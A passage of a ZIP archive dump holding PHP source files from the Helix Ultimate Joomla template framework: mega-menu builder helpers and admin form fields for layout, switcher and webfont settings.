			$editSvg = '<svg xmlns="http://www.w3.org/2000/svg" width="13" height="13" fill="currentColor" class="bi bi-pencil-square" viewBox="0 0 16 16"><path d="M15.502 1.94a.5.5 0 0 1 0 .706L14.459 3.69l-2-2L13.502.646a.5.5 0 0 1 .707 0l1.293 1.293zm-1.75 2.456l-2-2L4.939 9.21a.5.5 0 0 0-.121.196l-.805 2.414a.25.25 0 0 0 .316.316l2.414-.805a.5.5 0 0 0 .196-.12l6.813-6.814z"/><path fill-rule="evenodd" d="M1 13.5A1.5 1.5 0 0 0 2.5 15h11a1.5 1.5 0 0 0 1.5-1.5v-6a.5.5 0 0 0-1 0v6a.5.5 0 0 1-.5.5h-11a.5.5 0 0 1-.5-.5v-11a.5.5 0 0 1 .5-.5H9a.5.5 0 0 0 0-1H2.5A1.5 1.5 0 0 0 1 2.5v11z"/></svg>';

			$deleteSvg = '<svg xmlns="http://www.w3.org/2000/svg" width="13" height="13" fill="currentColor" class="bi bi-trash" viewBox="0 0 16 16"><path d="M5.5 5.5A.5.5 0 0 1 6 6v6a.5.5 0 0 1-1 0V6a.5.5 0 0 1 .5-.5zm2.5 0a.5.5 0 0 1 .5.5v6a.5.5 0 0 1-1 0V6a.5.5 0 0 1 .5-.5zm3 .5a.5.5 0 0 0-1 0v6a.5.5 0 0 0 1 0V6z"/><path fill-rule="evenodd" d="M14.5 3a1 1 0 0 1-1 1H13v9a2 2 0 0 1-2 2H5a2 2 0 0 1-2-2V4h-.5a1 1 0 0 1-1-1V2a1 1 0 0 1 1-1H6a1 1 0 0 1 1-1h2a1 1 0 0 1 1 1h3.5a1 1 0 0 1 1 1v1zM4.118 4L4 4.059V13a1 1 0 0 0 1 1h6a1 1 0 0 0 1-1V4.059L11.882 4H4.118zM2.5 3V2h11v1h-11z"/></svg>';

			$megaSvg = '<svg xmlns="http://www.w3.org/2000/svg" width="13" height="13" fill="currentColor" class="bi bi-grid-1x2" viewBox="0 0 16 16"><path d="M6 1H1v14h5V1zm9 0h-5v5h5V1zm0 9v5h-5v-5h5zM0 1a1 1 0 0 1 1-1h5a1 1 0 0 1 1 1v14a1 1 0 0 1-1 1H1a1 1 0 0 1-1-1V1zm9 0a1 1 0 0 1 1-1h5a1 1 0 0 1 1 1v5a1 1 0 0 1-1 1h-5a1 1 0 0 1-1-1V1zm1 8a1 1 0 0 0-1 1v5a1 1 0 0 0 1 1h5a1 1 0 0 0 1-1v-5a1 1 0 0 0-1-1h-5z"/></svg>';

			$settingsSvg = '<svg xmlns="http://www.w3.org/2000/svg" width="13" height="13" fill="currentColor" class="bi bi-gear" viewBox="0 0 16 16"><path d="M8 4.754a3.246 3.246 0 1 0 0 6.492 3.246 3.246 0 0 0 0-6.492zM5.754 8a2.246 2.246 0 1 1 4.492 0 2.246 2.246 0 0 1-4.492 0z"/><path d="M9.796 1.343c-.527-1.79-3.065-1.79-3.592 0l-.094.319a.873.873 0 0 1-1.255.52l-.292-.16c-1.64-.892-3.433.902-2.54 2.541l.159.292a.873.873 0 0 1-.52 1.255l-.319.094c-1.79.527-1.79 3.065 0 3.592l.319.094a.873.873 0 0 1 .52 1.255l-.16.292c-.892 1.64.901 3.434 2.541 2.54l.292-.159a.873.873 0 0 1 1.255.52l.094.319c.527 1.79 3.065 1.79 3.592 0l.094-.319a.873.873 0 0 1 1.255-.52l.292.16c1.64.893 3.434-.902 2.54-2.541l-.159-.292a.873.873 0 0 1 .52-1.255l.319-.094c1.79-.527 1.79-3.065 0-3.592l-.319-.094a.873.873 0 0 1-.52-1.255l.16-.292c.893-1.64-.902-3.433-2.541-2.54l-.292.159a.873.873 0 0 1-1.255-.52l-.094-.319zm-2.633.283c.246-.835 1.428-.835 1.674 0l.094.319a1.873 1.873 0 0 0 2.693 1.115l.291-.16c.764-.415 1.6.42 1.184 1.185l-.159.292a1.873 1.873 0 0 0 1.116 2.692l.318.094c.835.246.835 1.428 0 1.674l-.319.094a1.873 1.873 0 0 0-1.115 2.693l.16.291c.415.764-.42 1.6-1.185 1.184l-.291-.159a1.873 1.873 0 0 0-2.693 1.116l-.094.318c-.246.835-1.428.835-1.674 0l-.094-.319a1.873 1.873 0 0 0-2.692-1.115l-.292.16c-.764.415-1.6-.42-1.184-1.185l.159-.291A1.873 1.873 0 0 0 1.945 8.93l-.319-.094c-.835-.246-.835-1.428 0-1.674l.319-.094A1.873 1.873 0 0 0 3.06 4.377l-.16-.292c-.415-.764.42-1.6 1.185-1.184l.292.159a1.873 1.873 0 0 0 2.692-1.115l.094-.319z"/></svg>';

			$html[] = '<ul id="hu-menu-tree">';
			$count = count($items) ?? 0;

			foreach ($items as $key => $item)
			{
				$html[] = '<li class="hu-menu-tree-branch hu-branch-level-' . $item->level . ' ' . ((int) $item->published === 0 ? 'hu-megamenu-branch-muted' : '') . '" data-alias="' .  $item->alias . '" data-itemid="' . $item->id . '" data-parent="' . $item->parent_id . '" style="z-index: ' . (max(1, $count - $key)) . '" >';
				$html[] = '	<div class="hu-menu-tree-contents">';
				$html[] = '		<span class="hu-menu-branch-path"></span>';
				$html[] = '		<div class="hu-branch-drag-handler">';
				$html[] = '			<span class="hu-branch-icon"><svg width="6" height="10" fill="none" xmlns="http://www.w3.org/2000/svg"><circle cx=".904" cy=".904" r=".904" /><circle cx=".904" cy="4.7" r=".904" /><circle cx=".904" cy="8.496" r=".904" /><circle cx="4.7" cy=".904" r=".904" /><circle cx="4.7" cy="4.7" r=".904" /><circle cx="4.7" cy="8.496" r=".904" /></svg></span>';
				$html[] = '			<span class="hu-branch-title">' . $item->title . '</span>';

				if ((int) $item->published === 0)
				{
					$html[] = '<span class="hu-branch-unpublished far fa-eye-slash" title="' . Text::_('Unpublished') . '"></span>';
				}

				$html[] = '			<div class="hu-branch-tools">';
				$html[] = '				<ul class="hu-branch-tools-list">';
				$html[] = '					<li><a href="#" class="hu-branch-tools-list-edit" aria-label="' . Text::_('HELIX_ULTIMATE_MENU_EDIT') .'" title="' . Text::_('HELIX_ULTIMATE_MENU_EDIT') .'">'. $editSvg .'</a></li>';
				$html[] = '					<li><a href="#" class="hu-branch-tools-list-delete" aira-label="'. Text::_('HELIX_ULTIMATE_MENU_DELETE') .'" title="'. Text::_('HELIX_ULTIMATE_MENU_DELETE') .'">'. $deleteSvg .'</a></li>';
				$html[] = '					<li><a href="#" class="hu-branch-tools-list-megamenu disabled" aria-label="'. Text::_($item->parent_id > 1 ? 'HELIX_ULTIMATE_MENU_OPTIONS': 'HELIX_ULTIMATE_MENU_MEGAMENU') .'" title="'. Text::_($item->parent_id > 1 ? 'HELIX_ULTIMATE_MENU_OPTIONS': 'HELIX_ULTIMATE_MENU_MEGAMENU') .'"> ' . ($item->parent_id > 1 ? $settingsSvg  : $megaSvg ) .'</a></li>';
				$html[] = '				</ul>';
				$html[] = '			</div>';

				$html[] = '		</div>';
				$html[] = '	</div>';
				$html[] = '<div class="hu-menu-children-bus"></div>';
				$html[] = '</li>';
			}

			$html[] = '</ul>';
		}

		return implode("\n", $html);
	}

	/**
	 * Generate mega menu builder body contents.
	 *
	 * @param	int		$itemId	The Menu Item ID.
	 *
	 * @return 	array	The HTML string.
	 * @since	2.0.0
	 */
	public static function generateMegaMenuBody()
	{
		$input = Factory::getApplication()->input;
		$itemId = $input->get('id', 0, 'INT');
		$layout = new FileLayout('megaMenu.container', HELIX_LAYOUT_PATH);
		$builder = new MegaMenuBuilder($itemId);

		return [
			'status' => true,
			'html' => $layout->render(['itemId' => $itemId, 'builder' => $builder])
		];
	}

	/**
	 * Save mega menu settings.
	 *
	 * @return	array	The response array.
	 * @since	2.0.0
	 */
	public static function saveMegaMenuSettings()
	{
		$input = Factory::getApplication()->input;
		$settings = $input->post->get('settings', [], 'ARRAY');
		$itemId = $input->post->get('id', 0, 'INT');

		$menu = new SiteMenu;
		$item = $menu->getItem($itemId);
		$params = $item->getParams();
		$params->set('helixultimatemenulayout', \json_encode($settings));

		$response = self::updateMenuItem($itemId, $params);

		return [
			'status' => true,
			'data' => $response
		];
	}

	private static function updateMenuItem($itemId, $params)
	{
		try
		{
			$data = new \stdClass;
			$data->id = $itemId;
			$data->params = $params->toString();
			$db = Factory::getDbo();
			$db->updateObject('#__menu', $data, 'id', true);

			return true;
		}
		catch (Exception $e)
		{
			return $e->getMessage();
		}
	}

	/**
	 * Load slots for the rows.
	 *
	 * @return	array	The response array
	 * @since	2.0.0
	 */
	public static function updateRowLayout()
	{
		$input = Factory::getApplication()->input;
		$layout = $input->post->get('layout', '12', 'STRING');
		$rowData = $input->post->get('data', null, 'RAW');
		$rowId = $input->post->get('rowId', 0, 'INT');
		$itemId = $input->post->get('itemId', 0, 'INT');

		$rowData = \json_decode($rowData);
		$layout = \preg_replace("@\s@", '', $layout);
		$layoutArray = explode('+', $layout);

		$columns = [];

		foreach ($layoutArray as $key => $col)
		{
			if (isset($rowData->attr[$key]))
			{
				$tmp = $rowData->attr[$key];
			}
			else
			{
				$tmp = new \stdClass;
				$tmp->menuParentId = '';
				$tmp->moduleId = '';
				$tmp->type = 'column';
				$tmp->items = [];
			}

			$tmp->colGrid = $col;

			$columns[] = $tmp;
		}

		$rowData->attr = $columns;

		$columnLayout = new FileLayout('megaMenu.column', HELIX_LAYOUT_PATH);
		$builder = new MegaMenuBuilder($itemId);

		$html = [];

		foreach ($columns as $key => $column)
		{
			$html[] = $columnLayout->render([
				'itemId' => $itemId,
				'builder' => $builder,
				'column' => $column,
				'rowId' => $rowId,
				'columnId' => $key + 1
			]);
		}

		return [
			'status' => true,
			'html' => implode("\n", $html),
			'data' => $rowData
		];
	}

	/**
	 * Generate row from the user data.
	 *
	 * @return	array	the response array
	 * @since	2.0.0
	 */
	public static function generateRow()
	{
		$input = Factory::getApplication()->input;
		$layout = $input->post->get('layout', '12', 'STRING');
		$rowId = $input->post->get('rowId', 0, 'INT');
		$itemId = $input->post->get('itemId', 0, 'INT');

		$layout = \preg_replace("@\s@", '', $layout);

		$layoutArray = explode('+', $layout);

		$rowData = new \stdClass;
		$rowData->type = 'row';
		$rowData->attr = [];

		if (!empty($layoutArray))
		{
			foreach ($layoutArray as $column)
			{
				$item = new \stdClass;
				$item->type = 'column';
				$item->colGrid = $column;
				$item->items = [];
				$item->menuParentId = '';
				$item->moduleId = '';
				$rowData->attr[] = $item;
			}
		}

		$builder = new MegaMenuBuilder($itemId);
		$isNew = \count($builder->getMegaMenuSettings()->layout ?? []) === 0;

		/**
		 * If no row exists before, then get the child items of the item
		 *
		 */
		if ($isNew)
		{
			$children = $builder->getItemChildren();
			
			if (!empty($children))
			{
				$perColumn = ceil(\count($children) / \count($layoutArray));
				$chunks = \array_chunk($children, $perColumn);

				foreach ($chunks as $key => $children)
				{
					$cells = [];

					foreach ($children as $child)
					{
						$tmp = new \stdClass;
						$tmp->type = 'menu_item';
						$tmp->item_id = $child->id;
						$cells[] = $tmp;
					}

					$rowData->attr[$key]->items = $cells;
				}


			}
		}

		$rowLayout = new FileLayout('megaMenu.row', HELIX_LAYOUT_PATH);

		$rowHTML = $rowLayout->render([
			'itemId' => $itemId,
			'builder' => $builder,
			'row' => $rowData,
			'rowId' => $rowId
		]);

		return [
			'status' => true,
			'data' => $rowHTML,
			'row' => $rowData
		];
	}

	/**
	 * Generate popover for manipulating the menu item.
	 *
	 * @return	array	The response array.
	 * @since	2.0.0
	 */
	public static function generatePopoverContents()
	{
		$input = Factory::getApplication()->input;
		
		// The menu item id
		$itemId = $input->post->get('itemId', 0, 'INT');
		$type = $input->post->get('type', 'module', 'STRING');

		$builder = new MegaMenuBuilder($itemId); 

		$html = [];

		if ($type === 'module')
		{
			$modules = Helper::getModules();
			$html = [];
			$html[] = '<select class="hu-input hu-megamenu-module" data-type="module" data-husearch="1">';
			$html[] = '<option value="">Select Module</option>';
			foreach ($modules as $module)
			{
				$html[] = '<option value="' . $module->id . '">' . $module->title . '</option>';
			}

			$html[] = '</select>';
		}
		elseif ($type === 'menu')
		{
			$children = $builder->getItemChildren();
			$html = [];
			$html[] = '<select class="hu-input hu-megamenu-menuitem" data-type="menu_item">';
			$html[] = '<option value="">Select Menu Item</option>';

			foreach ($children as $child)
			{
				$html[] = '<option value="' . $child->id . '">' . $child->title . '</option>';
			}

			$html[] = '</select>';
		}


		return [
			'status' => true,
			'html' => implode("\n", $html)		
		];
	}

	public static function generateNewCell()
	{
		$input = Factory::getApplication()->input;
		
		$itemId 	= $input->post->get('itemId', 0, 'INT');
		$type 		= $input->post->get('type', 'module', 'STRING');
		$elementId 	= $input->post->get('item_id', 0, 'INT');
		$rowId 		= $input->post->get('rowId', 0, 'INT');
		$columnId 	= $input->post->get('columnId', 0, 'INT');
		$cellId 	= $input->post->get('cellId', 0, 'INT');

		$builder = new MegaMenuBuilder($itemId);

		$cell = new \stdClass;
		$cell->type = $type;
		$cell->item_id = $elementId;

		$cellLayout = new FileLayout('megaMenu.cell', HELIX_LAYOUT_PATH);
		$html = $cellLayout->render([
			'itemId' => $itemId,
			'builder' => $builder,
			'cell' => $cell,
			'rowId' => $rowId,
			'columnId' => $columnId,
			'cellId' => $cellId
		]);

		return [
			'status' => true,
			'html' => $html
		];
	}

	/**
	 * Get the module list and render the list
	 *
	 * @return	array	The response array.
	 * @since	2.0.0
	 */
	public static function getModuleList()
	{
		$input = Factory::getApplication()->input;
		$keyword = $input->get('keyword', '', 'STRING');

		$moduleLayout = new FileLayout('megaMenu.modules', HELIX_LAYOUT_PATH);

		return [
			'status' => true,
			'html' => $moduleLayout->render(['keyword' => $keyword])
		];
	}
}
PK!i�-R(helixultimate/src/fields/helixlayout.phpnu&1i�<?php
/**
 * @package Helix_Ultimate_Framework
 * @author JoomShaper <support@joomshaper.com>
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
 */

defined('_JEXEC') or die();

use Joomla\CMS\Factory;
use Joomla\CMS\Form\FormField;
use Joomla\CMS\Filesystem\File;
use HelixUltimate\Framework\Platform\Helper;

/**
 * Form field for Helix layout
 *
 * @since	1.0.0
 */
class JFormFieldHelixlayout extends FormField
{
	/**
	 * Field type
	 *
	 * @var		string	$type
	 * @since	1.0.0
	 */
	protected $type = 'Helixlayout';

	/**
	 * Override getInput function form FormField
	 *
	 * @return	string	Field HTML string
	 * @since	1.0.0
	 */
	public function getInput()
	{
		$input  	= Factory::getApplication()->input;
		$style_id 	= $input->get('id', 0, 'INT');
		$style 		= Helper::getTemplateStyle($style_id);

		$helix_layout_path = JPATH_SITE . '/plugins/system/helixultimate/layout/';

		$json = json_decode($this->value);

		if (!empty($json))
		{
			$rows = $json;
		}
		else
		{
			// $layout_file = File::read(JPATH_SITE . '/templates/' . $style->template . '/options.json');
			$layout_file = file_get_contents(JPATH_SITE . '/templates/' . $style->template . '/options.json');
			$value = json_decode($layout_file);
			$rows = json_decode($value->layout);
		}

		$html = $this->generateLayout($helix_layout_path, $rows);
		$html .= '<input type="hidden" id="' . $this->id . '" name="' . $this->name . '">';

		return $html;
	}

	/**
	 * Generate Layout.
	 *
	 * @param	string		$path	Layout path
	 * @param	object		$layout_data	The layout data.
	 *
	 * @return	string		Layout HTML string.
	 * @since	1.0.0
	 */
	private function generateLayout($path, $layout_data = null)
	{
		$GLOBALS['tpl_layout_data'] = $layout_data;

		ob_start();
		include_once $path . 'generated.php';
		$items = ob_get_contents();
		ob_end_clean();

		return $items;
	}

	/**
	 * Get label for the field.
	 *
	 * @return	boolean
	 * @since	1.0.0
	 */
	public function getLabel()
	{
		return false;
	}
}
PK!�Ιh
h
*helixultimate/src/fields/helixswitcher.phpnu&1i�<?php
/**
 * @package Helix_Ultimate_Framework
 * @author JoomShaper <support@joomshaper.com>
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
 */

defined('_JEXEC') or die();

use HelixUltimate\Framework\Platform\Helper;
use HelixUltimate\Framework\Platform\Settings;
use Joomla\CMS\Factory;
use Joomla\CMS\Form\FormField;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Uri\Uri;
use Joomla\CMS\Filesystem\File;
/**
 * Form field for helix presets.
 *
 * @since	1.0.0
 */
class JFormFieldHelixSwitcher extends FormField
{
	/**
	 * Field type
	 *
	 * @var		string	$type
	 * @since	1.0.0
	 */
	protected $type = 'HelixSwitcher';

	/**
	 * Override getInput function form FormField
	 *
	 * @return	string	Field HTML string
	 * @since	1.0.0
	 */
	protected function getInput()
	{
		$rule = (string) $this->element['textrule'];
		$rule = !empty($rule) ? $rule : 'text';

		$default = (string) $this->element['default'];

		$switcherStyle = (string) $this->element['switcherStyle'];
		$switcherStyle = !empty($switcherStyle) ? $switcherStyle : 'tab';

		$fixedWidth = (string) $this->element['fixedwidth'];
		$fixedWidth = !empty($fixedWidth) && ($fixedWidth === 'true' || $fixedWidth === 'on');

		$alignment = (string) $this->element['alignment'];
		$alignment = !empty($alignment) ? 'hu-align-' . $alignment : '';

		$switcherClasses = 'hu-switcher-style-' . $switcherStyle;

		if ($fixedWidth)
		{
			$switcherClasses .= ' hu-fixed-width';
		}

		if ($alignment)
		{
			$switcherClasses .= ' ' . $alignment;
		}

		$children = $this->element->children();
		$options = null;

		if (!empty($children))
		{
			$options = $children->option;
		}

		$value = empty($this->value) ? $default : $this->value;

		$html = [];
		$html[] = '<div class="hu-switcher ' . $switcherClasses . '">';
		$html[] = '<div class="hu-action-group">';

		if (!empty($options))
		{
			foreach ($options as $option)
			{
				$html[] = '<span class="hu-switcher-action ' .
					($value === (string) $option['value'] ? 'active' : '') .
					$option->class .
					'" data-value="' . ((string) $option['value']) . '" hu-switcher-action role="button">';

				$html[] = '<span class="hu-switcher-action-content">';

				if (isset($option['icon']) && !empty($option['icon']))
				{
					$html[] = '<span class="hu-switcher-icon"><span class="' . (string) $option['icon'] . '"></span></span>';
				}
				elseif (isset($option['svg']) && !empty($option['svg']))
				{
					$svg_path = JPATH_PLUGINS . '/system/helixultimate/assets/images/icons/' . (string) $option['svg'] . '.svg';
					// $svg = File::exists($svg_path) ? File::read($svg_path) : (string) $option['svg'];
					$svg = File::exists($svg_path) ? file_get_contents($svg_path) : (string) $option['svg'];
					$html[] = '<span class="hu-switcher-svg">' . $svg . '</span>';
				}
				elseif (isset($option['image']) && !empty($option['image']))
				{
					$html[] = '<span class="hu-switcher-img"><img src="' . (string) $option['image'] . '"  /></span>';
				}

				$html[] = '</span>';

				$html[] = '<span class="hu-switcher-label">' . Text::_((string) $option) . '</span>';

				$html[] = '</span>';
			}
		}

		$html[] = '</div>';
		$html[] = '<input type="hidden" name="' . $this->name . '" id="' . $this->id . '" value="' . $value . '" />';
		$html[] = '</div>';

		return implode("\n", $html);
	}
}
PK!Q�!a#8#8&helixultimate/src/fields/helixfont.phpnu&1i�<?php
/**
 * @package Helix_Ultimate_Framework
 * @author JoomShaper <support@joomshaper.com>
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
 */

defined('_JEXEC') or die();

use Joomla\CMS\Factory;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Form\FormField;
use Joomla\CMS\Filesystem\File;
use HelixUltimate\Framework\Platform\Helper;

/**
 * Form field for Helix font.
 *
 * @since	1.0.0
 */
class JFormFieldHelixfont extends FormField
{
	/**
	 * Field type
	 *
	 * @var		string	$type
	 * @since	1.0.0
	 */
	protected $type = 'Helixfont';

	/**
	 * Override getInput function form FormField
	 *
	 * @return	string	Field HTML string
	 * @since	1.0.0
	 */
	protected function getInput()
	{

		$input  = Factory::getApplication()->input;
		$style_id = $input->get('id', 0, 'INT');
		$style = Helper::getTemplateStyle($style_id);

		$template_path = JPATH_SITE . '/templates/' . $style->template . '/webfonts/webfonts.json';
		$plugin_path   = JPATH_PLUGINS . '/system/helixultimate/assets/webfonts/webfonts.json';

		if (file_exists($template_path))
		{
			$json = file_get_contents($template_path);
		}
		elseif (file_exists($plugin_path))
		{
			$json = file_get_contents($plugin_path);
		}

		if (empty($json))
		{
			Factory::getApplication()->enqueueMessage('Missing <code>webfonts.json</code> file. Please go to <code>advanced > Font Settings</code> and add Google Font Api and update.', 'error');

			return;
		}

		$webfonts   = json_decode($json);
		$items      = $webfonts->items;
		$value      = json_decode($this->value);

		if (isset($value->fontFamily))
		{
			$font = $this->filterArray($items, $value->fontFamily);
		}

		$html  = '';
		$classes = (!empty($this->element['class'])) ? $this->element['class'] : '';

		$systemFonts = array(
			'Arial',
			'Tahoma',
			'Verdana',
			'Helvetica',
			'Times New Roman',
			'Trebuchet MS',
			'Georgia'
		);

		$fontWeights = array(
			'100' => 'Thin',
			'200' => 'Extra Light',
			'300' => 'Light',
			'400' => 'Normal',
			'500' => 'Medium',
			'600' => 'Semi Bold',
			'700' => 'Bold',
			'800' => 'Extra Bold',
			'900' => 'Black'
		);

		$fontStyles = array(
			'normal' => 'Normal',
			'italic' => 'Italic',
			'oblique' => 'Oblique'
		);

		/** Font family */
		$html .= '<div class="hu-field-webfont ' . $classes . '">';

		/** Preview Row */
		$html .= '<div class="hu-webfont-preview-wrapper">';
		$html .= '<div class="hu-webfont-preview">1 2 3 4 5 6 7 8 9 0 Grumpy wizards make toxic brew for the evil Queen and Jack.</div>';
		$html .= '</div>';

		/** Start Fonts List row */
		$html .= '<div class="hu-webfont-family hu-mb-3">';
		$html .= $this->renderFontsList($systemFonts, $value, $items);
		$html .= '</div>';

		/** Font size, weight, color row */
		$html .= '<div class="row">';

		/** Start Font Weight */
		$html .= '<div class="col-5 hu-mb-3">';
		$html .= $this->renderFontWeight($fontWeights, $value);
		$html .= '</div>';

		/** Start Font Size */
		$html .= '<div class="col-4 hu-mb-3 hu-narrow-input">';
		$html .= $this->renderFontSize($value);
		$html .= '</div>';

		/** Start Font Color */
		$html .= '<div class="col-3 hu-mb-3 hu-narrow-input">';
		$html .= $this->renderFontColor($value);
		$html .= '</div>';

		$html .= '</div>';

		/** Font subset, letter spacing, line height row */
		$html .= '<div class="row spacing-row">';

		/** Font subset section */
		$html .= '<div class="col-5 hu-mb-3">';
		$html .= $this->renderFontSubset($systemFonts, $font, $value);
		$html .= '</div>';

		/** Set line height */
		$html .= '<div class="col-3 hu-mb-3 hu-narrow-input">';
		$html .= $this->renderLineHeight($value);
		$html .= '</div>';

		/** Set Letter Spacing */
		$html .= '<div class="col-4 hu-mb-3 hu-narrow-input">';
		$html .= $this->renderLetterSpacing($value);
		$html .= '</div>';

		$html .= '</div>';

		/** Font style, alignment row */
		$html .= '<div class="row style-alignment">';

		/** Text Decoration */
		$html .= '<div class="col-6 hu-mb-3">';
		$html .= $this->renderTextDecoration($value);
		$html .= '</div>';

		/** Font Alignment */
		$html .= '<div class="col-6 hu-mb-3">';
		$html .= $this->renderFontAlignment($value);
		$html .= '</div>';

		$html .= '</div>';

		$html .= '<input type="hidden" name="' . $this->name . '" value=\'' . $this->value . '\' class="hu-webfont-input" id="' . $this->id . '">';
		$html .= '</div>';

		return $html;
	}

	/**
	 * Get select options for the field.
	 *
	 * @param	array	$items		The items form where the options will be generated.
	 * @param	string	$selected	The selected option item.
	 *
	 * @return	string	The option HTML string.
	 * @since	1.0.0
	 */
	private function generateSelectOptions( $items = array(), $selected = '' )
	{
		$html = '';

		foreach ($items as $item)
		{
			$html .= '<option ' . (($selected !== 'no-selection' && $item == $selected) ? 'selected="selected"' : '') . ' value="' . $item . '">' . $item . '</option>';
		}

		return $html;
	}

	/**
	 * Get Current font.
	 *
	 * @param	array	$items	The fonts array.
	 * @param	string	$key	The expected font.
	 *
	 * @return 	mixed
	 * @since	1.0.0
	 */
	private function filterArray($items, $key)
	{
		foreach ($items as $item)
		{
			if ($item->family === $key)
			{
				return $item;
			}
		}

		return false;
	}

	private function renderFontsList($systemFonts, $value, $items)
	{
		$html = '';
		$html .= '<label class="hu-mb-2">' . Text::_('HELIX_ULTIMATE_FONT_FAMILY') . '</label>';
		$html .= '<select class="hu-webfont-list">';
		$html .= '<optgroup label="' . Text::_('HELIX_ULTIMATE_SYSTEM_FONT') . '">';

		foreach ($systemFonts as $systemFont)
		{
			$html .= '<option ' . ((isset($value->fontFamily) && $systemFont === $value->fontFamily) ? 'selected="selected"' : '') . ' value="' . $systemFont . '">' . $systemFont . '</option>';
		}

		$html .= '</optgroup>';

		$html .= '<optgroup label="' . Text::_('HELIX_ULTIMATE_GOOGLE_FONT') . '">';

		foreach ($items as $item)
		{
			$html .= '<option ' . ((isset($value->fontFamily) && $item->family === $value->fontFamily) ? 'selected="selected"' : '') . ' value="' . $item->family . '">' . $item->family . '</option>';
		}

		$html .= '</optgroup>';

		$html .= '</select>';

		return $html;
	}

	private function renderFontWeight($fontWeights, $value)
	{
		$html = '';
		$html .= '<div class="hu-webfont-weight">';
		$html .= '<label class="hu-mb-2">' . Text::_('HELIX_ULTIMATE_FONT_WEIGHT') . '</label>';
		$html .= '<select class="hu-webfont-weight-list">';
		$html .= '<option value="">' . Text::_('HELIX_ULTIMATE_SELECT') . '</option>';

		foreach ($fontWeights as $key => $fontWeight)
		{
			if (isset($value->fontWeight) && (int)$value->fontWeight === $key)
			{
				$html .= '<option value="' . $key . '" selected>' . $fontWeight . '</option>';
			}
			else
			{
				$html .= '<option value="' . $key . '">' . $fontWeight . '</option>';
			}
		}

		$html .= '</select>';
		$html .= '</div>';

		return $html;
	}

	private function renderFontSize($value)
	{
		$html = '';

		$fontSize = (isset($value->fontSize)) ? $value->fontSize : '';
		$fontSize_sm = (isset($value->fontSize_sm)) ? $value->fontSize_sm : '';
		$fontSize_xs = (isset($value->fontSize_xs)) ? $value->fontSize_xs : '';
		$html .= '<div class="hu-webfont-size">';
		$html .= '<label class="hu-mb-2">' . Text::_('HELIX_ULTIMATE_FONT_SIZE') . '</label>';
		$html .= $this->renderUnitField('hu-webfont-size-field', $fontSize, true);
		$html .= $this->renderUnitField('hu-webfont-size-field-sm', $fontSize_sm);
		$html .= $this->renderUnitField('hu-webfont-size-field-xs', $fontSize_xs);
		$html .= '</div>';

		return $html;
	}

	/**
	 * Render unit field which is the combination of the measurement value
	 * and the measurement unit.
	 *
	 * @param	string	$key	The field key/name.
	 * @param	string	$value	The measurement value.
	 * @param	boolean	$active	Is the field active or not.
	 *
	 * @return	string	The field HTML string.
	 * @since	2.0.0
	 */
	private function renderUnitField($key, $value, $active = false)
	{
		// By default the unit is px.
		$unit = 'px';

		if (isset($value))
		{
			$matches = [];

			if (preg_match("@^([+-]?(?:\d+|\d*\.\d+))(px|em|rem|%)$@", $value, $matches))
			{
				if (count($matches) >= 3)
				{
					$value = $matches[1];

					if (isset($matches[2]))
					{
						$unit = strtolower($matches[2]);
					}
				}
			}
			elseif (is_numeric($value))
			{
				$value = (float) $value;
			}
			else
			{
				$value = '';
			}
		}

		$value = !isset($value) ? '' : $value;
		$finalValue = $value !== '' ? $value . $unit : '';

		$html = '';
		$html .= '<div class="hu-input-group hu-unit-group hu-webfont-unit ' . ($active ? 'active' : '') . '">';
		$html .= '<input type="hidden" class="hu-unit-field-value" name="' . $key . '" value="' . $finalValue . '"/>';
		$html .= '	<input type="text" class="hu-field-dimension-width form-control hu-unit-field-input ' . $key . '" value="' . $value . '" />';
		$html .= '	<select class="hu-unit-select">';
		$html .= '		<option value="px" ' . ($unit === 'px' ? 'selected' : '') . '>px</option>';
		$html .= '		<option value="em" ' . ($unit === 'em' ? 'selected' : '') . '>em</option>';
		$html .= '		<option value="rem" ' . ($unit === 'rem' ? 'selected' : '') . '>rem</option>';
		$html .= '		<option value="%" ' . ($unit === '%' ? 'selected' : '') . '>%</option>';
		$html .= '	</select>';
		$html .= '</div>';

		return $html;
	}

	private function renderFontColor($value)
	{
		$color = !empty($value->fontColor) ? $value->fontColor : '';
		$html = '';
		$html .= '<div class="hu-font-color">';
		$html .= '<label class="hu-mb-2">' . Text::_('HELIX_ULTIMATE_FONT_COLOR') . '</label>';
		$html .= '<input type="text" class="form-control hu-font-color-input minicolors" placeholder="Font Color" value="' . $color . '" />';
		$html .= '</div>';

		return $html;
	}

	private function renderFontSubset($systemFonts, $font, $value)
	{
		$html = '';
		$html .= '<label class="hu-mb-2">' . Text::_('HELIX_ULTIMATE_FONT_SUBSET') . '</label>';
		$html .= '<select class="hu-webfont-subset-list">';
		$html .= '<option value="">' . Text::_('HELIX_ULTIMATE_SELECT') . '</option>';

		if (isset($value->fontFamily) && $value->fontFamily)
		{
			if (!in_array($value->fontFamily, $systemFonts))
			{
				$html .= $this->generateSelectOptions($font->subsets, $value->fontSubset);
			}
		}

		$html .= '</select>';

		return $html;
	}

	private function renderLineHeight($value)
	{
		$height = !empty($value->fontLineHeight) ? $value->fontLineHeight : '';
		$html = '';
		$html .= '<div class="hu-font-line-height">';
		$html .= '<label class="hu-mb-2">' . Text::_('HELIX_ULTIMATE_FONT_LINE_HEIGHT') . '</label>';
		$html .= '<input type="number" class="form-control hu-font-line-height-input" min="1" max="200" value="' . $height . '" />';
		$html .= '</div>';

		return $html;
	}

	private function renderLetterSpacing($value)
	{
		$spacing = !empty($value->fontLetterSpacing) ? $value->fontLetterSpacing : '';
		$html = '';
		$html .= '<div class="hu-font-letter-spacing">';
		$html .= '<label class="hu-mb-2">' . Text::_('HELIX_ULTIMATE_FONT_LETTER_SPACING') . '</label>';
		$html .= $this->renderUnitField('hu-font-letter-spacing-input', $spacing, true);
		$html .= '</div>';

		return $html;
	}

	private function renderTextDecoration($value)
	{
		$decoration = !empty($value->textDecoration) ? $value->textDecoration : 'none';

		$html = '';
		$html .= '<div class="hu-font-decoration">';
